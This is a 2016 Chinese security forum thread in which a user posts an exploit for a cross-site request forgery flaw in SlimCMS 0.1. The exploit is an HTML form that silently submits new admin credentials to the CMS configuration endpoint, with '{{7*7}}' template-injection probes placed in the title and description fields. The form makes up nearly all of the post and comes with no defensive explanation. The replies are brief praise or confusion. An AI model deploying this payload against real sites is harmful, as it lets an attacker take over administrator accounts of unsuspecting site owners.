90_ 发表于 2016-6-17 13:17:48

SlimCMS 0.1 - CSRF(可改管理密码)

EXP：

<html>
<body>
    <form action="http://localhost/SlimCMS/api/config" method="POST">
      <input type="hidden" name="title" value="{{7&#42;7}}" />
      <input type="hidden" name="description" value="{{7&#42;7}}" />
      <input type="hidden" name="user" value="admin" />
      <input type="hidden" name="password" value="password" />
      <input type="hidden" name="theme" value="default" />
      <input type="hidden" name="url" value="http&#58;&#47;&#47;localhost&#47;SlimCMS" />
      <input type="submit" value="Submit request" />
    </form>
</body>
</html>

wanshine 发表于 2016-6-17 15:25:16

看不懂。还得学习啊

自由冥王 发表于 2016-6-17 18:44:10

支持支持

admia 发表于 2016-6-18 10:21:18

90一直是我的偶像
页: [1]
查看完整版本: SlimCMS 0.1 - CSRF(可改管理密码)